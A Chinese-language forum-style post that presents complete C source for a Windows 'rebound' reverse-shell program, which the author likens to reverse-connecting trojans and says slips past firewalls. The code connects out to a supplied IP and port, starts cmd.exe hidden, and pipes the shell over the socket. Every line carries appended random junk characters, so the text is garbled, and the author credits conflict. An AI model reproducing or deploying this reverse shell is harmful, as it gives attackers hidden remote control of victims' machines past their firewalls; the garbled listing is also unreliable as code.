这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 L%.=SbmS
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/* ============================== ksqb& ux6
Rebound port in Windows NT fp"GdkO#}i
By wind,2006/7 R1:7]z0B
===============================*/ DEenvS`,P
#include pzDz@lAwR
#include V##T G0
* \tR
#pragma comment(lib,"wsock32.lib") N)YoWA>#bF
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void OutputShell(); R9Y{kk0M
SOCKET sClient; JaJyH%+$!
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &([yI>%
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void main(int argc,char **argv) &$pA,Gjin\
{ X'cm0}2
WSADATA stWsaData; ~rbJtz
int nRet; p;vrPS
SOCKADDR_IN stSaiClient,stSaiServer; c=IjR3F
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if(argc != 3) M3q7{w*bM
{ fR lJ`\ t
printf("Useage:\n\rRebound DestIP DestPort\n"); i,$n4
return; /oU$TaB>(
} Ozc9y y!%
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WSAStartup(MAKEWORD(2,2),&stWsaData); M`@Es#s
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {?uswbk.
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stSaiClient.sin_family = AF_INET; C2K<CDVw
stSaiClient.sin_port = htons(0); 3;EBKGg|
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); elb}]
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 5{M$m&$1
{ <Ow+LJWQK
printf("Bind Socket Failed!\n"); vg[zRWh8
return; O u{|o0
} j(Tk6S
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stSaiServer.sin_family = AF_INET; $b"Ex>
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 8"x\kSMb
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); h,2?+}Fn
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4' <y
{ VD2o#.7*eu
printf("Connect Error!"); RS
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return; uulzJbV,K
} O>arCr=H
OutputShell(); )0 i$Bo
} S >\\n^SbT
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void OutputShell() i8(n(
{ IS }U2d,W
char szBuff[1024]; _v=zFpR
SECURITY_ATTRIBUTES stSecurityAttributes; lK y4Nry9
OSVERSIONINFO stOsversionInfo; U{-[lpd
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; c}#(,<8X
STARTUPINFO stStartupInfo; @-}!o&G0
char *szShell; ny+_&l^R~(
PROCESS_INFORMATION stProcessInformation; q3Y49d
unsigned long lBytesRead; _1HEGX\
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); >qynd'eToR
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); vjXCArS
stSecurityAttributes.lpSecurityDescriptor = 0; v1Jg8L=
stSecurityAttributes.bInheritHandle = TRUE; { :_qa |
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ZY> u4v.
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ;F>I+l_X
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )N]%cO(^
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0Ewt
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stStartupInfo.wShowWindow = SW_HIDE; [r=U-
stStartupInfo.hStdInput = hReadPipe; *uZ'MS
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; L~L]MC&
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GetVersionEx(&stOsversionInfo); m}fY5r<<;/
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switch(stOsversionInfo.dwPlatformId) {]:B80I;2
{ 0'tm.,
case 1: n(el
szShell = "command.com"; /pnQKy.
break; zH?&FtO
default: \G &q[8F\
szShell = "cmd.exe"; fm^)u"
break; 38(|a5
} :vy./83W
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); G X>T~i\f8
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send(sClient,szMsg,77,0); u=p-]?
while(1) kn7Qvk[+
{ f%TP>)jag!
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); u:O6MO9^
if(lBytesRead) 7!E7XP6,~>
{ E 5bo60z
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Z~Z+Yt;,9a
send(sClient,szBuff,lBytesRead,0); Rk52K*Dc
} >dqeGM7Np>
else 9w,u4q
{ Ry iS
lBytesRead=recv(sClient,szBuff,1024,0); 4\EvJg@Z.
if(lBytesRead<=0) break; 1'g{tP"d
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); mnWbV\ VY
} W/|C
} @V#
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return; Q\<^ih51
}